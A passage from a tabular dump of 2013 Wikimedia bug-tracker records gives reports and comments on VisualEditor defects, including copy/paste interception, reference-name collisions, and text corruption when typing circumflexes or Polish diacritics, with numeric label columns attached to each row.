+https://bugzilla.wikimedia.org/show_bug.cgi?id=53642, which is quite old
+though. 
+
+I also tried to reproduced in a user-specific test page, but couldn't.",,,1380300630,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+264787,VisualEditor: Snowmen appear near newly added references,"**seudeau** wrote:
+
+%%%*** Bug 54708 has been marked as a duplicate of this bug. ***%%%",,,1380300556,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+264782,VisualEditor: Snowmen appear near newly added references,"A last comment from the user,
+<<[...] Sometimes the following error appears, ""Javascript Error: Cannot open another window while another one is active"". Sometimes the text of the page breaks down completely and the browser gets stuck.
+Do not try to look at what's on line 54 of load.php, you'll give up quickly  :-)>>",,,1380299308,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,12,,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+56375,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","For example, you can't copy/paste in the edit summary box.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1379680980,1379977964.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_description,resolved,True,c1,3,True,False,True,11,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+250036,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85784 merged by jenkins-bot:
+Only listen for copy/paste on documentNode and pasteTarget
+
+https://gerrit.wikimedia.org/r/85784",,,1379977939,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250028,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85783 merged by jenkins-bot:
+Only listen for copy/paste on documentNode and pasteTarget
+
+https://gerrit.wikimedia.org/r/85783",,,1379977741,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250019,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85784 had a related patch set uploaded by Catrope:
+Only listen for copy/paste on documentNode and pasteTarget
+
+https://gerrit.wikimedia.org/r/85784",,,1379977609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250011,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85783 had a related patch set uploaded by Catrope:
+Only listen for copy/paste on documentNode and pasteTarget
+
+https://gerrit.wikimedia.org/r/85783",,,1379977566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250007,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85204 merged by jenkins-bot:
+Only listen for copy/paste on documentNode and pasteTarget
+
+https://gerrit.wikimedia.org/r/85204",,,1379702067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250004,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85204 had a related patch set uploaded by Esanders:
+Only listen for copy/paste on documentNode and pasteTarget
+
+https://gerrit.wikimedia.org/r/85204",,,1379684992,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250001,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Marking as a regression as this is new behaviour in the latest release (version ""false"")",,,1379683942,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0
+249997,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Pasting from an external source into the edit summary box works fine for me. 
+
+However, once a page has been loaded in VE you cannot copy any text on that page until you reload - even after you have closed VE.
+
+To reproduce:
+1. Load any page in VisualEditor.
+2. Do any of
+ i. Press the browser back button to exit VE
+ ii. Cancel the edit
+ iii. make an edit and then save the page
+3. Select any text anywhere on the page and copy it to the clipboard
+4. Try to paste that text anywhere (search box, URL bar, text editor, etc)
+
+Expected behaviour: Selected text is copied and pasted
+Actual behaviour: Selected text is not copied and pasted",,,1379683839,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+56341,VisualEditor: [Regression] Unnamed references get their names corrupted,"https://en.wikipedia.org/w/index.php?title=Matt_Chandler_%28pastor%29&curid=37214846&diff=573675359&oldid=571858677
+
+For some reason, multiple different unnamed references all get name="":3"" there.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54445",Unbreak Now!,100.0,1379613840,1379977955.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_description,resolved,True,c1,3,False,False,True,11,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+248008,VisualEditor: [Regression] Unnamed references get their names corrupted,*** Bug 54445 has been marked as a duplicate of this bug. ***,,,1380836921,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247999,VisualEditor: [Regression] Unnamed references get their names corrupted,"James,
+I think it can be confusing that the name and the number of a reference do not match, although the links work.
+See https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=575128343&oldid=575128003 (the reference #2 gets a ref name:3).",,,1380542637,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+247992,VisualEditor: [Regression] Unnamed references get their names corrupted,*** Bug 54654 has been marked as a duplicate of this bug. ***,,,1380220185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247985,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85781 merged by jenkins-bot:
+Prevent naming collisions when generating unique reference names
+
+https://gerrit.wikimedia.org/r/85781",,,1379977590,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+247979,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85780 merged by jenkins-bot:
+Prevent naming collisions when generating unique reference names
+
+https://gerrit.wikimedia.org/r/85780",,,1379977489,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+247974,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85781 had a related patch set uploaded by Catrope:
+Prevent naming collisions when generating unique reference names
+
+https://gerrit.wikimedia.org/r/85781",,,1379977417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+247968,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85780 had a related patch set uploaded by Catrope:
+Prevent naming collisions when generating unique reference names
+
+https://gerrit.wikimedia.org/r/85780",,,1379977381,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+247964,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85144 merged by jenkins-bot:
+Prevent naming collisions when generating unique reference names
+
+https://gerrit.wikimedia.org/r/85144",,,1379680077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+247961,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85144 had a related patch set uploaded by Catrope:
+Failing test for <ref name="":3""> bug
+
+https://gerrit.wikimedia.org/r/85144",,,1379634802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+247957,VisualEditor: [Regression] Unnamed references get their names corrupted,"Isolated test case: https://en.wikipedia.org/wiki/User:Ed_g2s/Sandbox4
+
+Diagnosis:
+
+The automatically generated names are based on the number of distinct references in the page up to that point, indexed at zero. The first unnamed <ref> tag is the 4th distinct reference on the page (it's preceded by two :1s, a :3 and a :0), so its autogenerated name is :3. However, there so happens to already be a literal <ref name="":3""> on the page, so we get a naming collision and the whole thing goes to hell.
+
+In practice, this situation can only arise after multiple iterations of duplicating unnamed references with VE (which adds <ref name="":n""> tags to the source), then removing or reordering references so the ref tags are aligned exactly right for this bug to occur.",,,1379625242,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+56047,VisualEditor: Corruption with circumflexes,"VisualEditor seems to take particular pleasure in abusing circumflexes.
+
+Issue 1: VE duplicates the first character entered after a circumflexed letter at the end of a line.
+
+* Steps to reproduce: In VE, enter the text êtt (actually enter the characters individually, don't copy/paste) at the end of a line.
+* Expected result: ""êtt"" is entered.
+* Actual result: ""êtt<newline>t"" is entered.
+
+Issue 2: At the beginning of a line, VE turns a circumflexed letter into a pawn character when removing text entered after the circumflexed letter.
+
+* Steps to reproduce: In VE, enter the text êtt at the beginning of a line, then delete the last 't'.
+* Expected result: ""êt""
+* Actual result: ""♙t""
+
+There's also some wonky behavior when dealing with circumflexed letters in the middle of a line, but I'm assuming that the descriptions above will be enough to help you investigate VE's blatant circumflexphobia.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1378943700,1378959962.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-mb4drpsu5auacyiu42kp,task_description,resolved,True,c1,3,False,False,True,10,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+254900,VisualEditor: Corruption with circumflexes,"Marking as a duplicate of bug 53680 which I believe is indeed the issue.
+
+*** This bug has been marked as a duplicate of bug 53680 ***",,,1378959962,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mb4drpsu5auacyiu42kp,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+254898,VisualEditor: Corruption with circumflexes,"This is a dupe of bug 53747, bug 53680 or both.",,,1378945993,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mb4drpsu5auacyiu42kp,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254894,VisualEditor: Corruption with circumflexes,"Also, circumflexes that are entered in VE are completely stripped on save. Instead, characters are jumping around to its location.",,,1378944232,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-mb4drpsu5auacyiu42kp,task_subcomment,,True,c1,3,False,,,10,,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+55747,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Since approx. August 30-31 VisualEditor breaks when Polish-language diacritics (ążśźęćń󳥯ŚŹĘĆŃÓŁ) are input. The characters themselves disappear and text around them gets mangled and moved around.
+
+They're all input using AltGr (right Alt) + diacritic-less version of the characters, with the exception of ""x"" mapping to ""ź"" (so, respectively, azsxecnol).
+
+I have been unable to replicate the issue myself, but it's definitely happening.
+
+pl.wp thread: https://pl.wikipedia.org/wiki/Wikipedia:Kawiarenka/Kwestie_techniczne#VisualEditor_a_polskie_diakrytyki
+
+This is repeatedly breaking page text on the Polish Wikipedia, so I'm marking the bug ""highest critical"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**URL**: https://pl.wikipedia.org/wiki/Wikipedia:Kawiarenka/Kwestie_techniczne#VisualEditor_a_polskie_diakrytyki
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53680",Unbreak Now!,100.0,1378296540,1378958511.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_description,resolved,True,c1,3,True,False,True,9,,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1
+237176,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"It seems like it does actually fix the issue (for me at least). Thanks.
+
+So that means editing will have been completely broken for only three weeks straight by the time this gets deployed :/",,,1379174957,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,10,,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0
+237170,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958511,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+237164,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Ok, the patch is merged, and due to go live on mediawiki.org by 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943228,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
+237160,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"I'm optimistic that the following patch will fix this bug:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+If someone can test this hypothesis, great; if not, then I will hopefully be able to do so later today.",,,1378745638,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,10,,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+237153,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,Is there any progress on this? Because today's the point when I'd suggest reverting the deployment to last known good version if nobody is going to fix this.,,,1378745123,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,10,,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+237146,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"I've tested this on master in Firefox under Ubuntu -- I managed to replicate the behavior not just in polish, but also Spanish diacritics but only when these are ""added on"". Trying to add diacritic to an existing character produced a pawn and then some odd duplication of characters.
+
+That did not happen when I typed in either Hebrew or Arabic in master.
+
+Another thing I found is that there seems to be a difference between an already-combined diacritic (like ñ which is native to the Spanish keyboard) and an ""added"" diacritic. When I typed the native ñ nothing broke, it added it properly and the behavior was correct. 
+
+And finally, the typing broke and the pawn appeared only when I tried to add diacritic to a latin letter. 
+
+When I tried to add ""niqqud"" to Hebrew letters, though, like pressing ש and left-Alt+a to produce שְ the behavior was as expected (no pawn, no problem)",,,1378402971,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+237139,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,Bug 53680 shows this also happens on en.wp and fr.wp and is independent of keyboard layout.,,,1378313646,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237130,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"https://pl.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Opinie&oldid=37428181#.C4.99 is a pretty good explanation, and makes clear it's not browser (or OS) dependent.",,,1378313289,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0
+237120,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Actually, I sort of have reproduced it now. I used Opera 12, but some users at pl.wp reported it happening on Chrome – it's probably not browser-dependent.
+
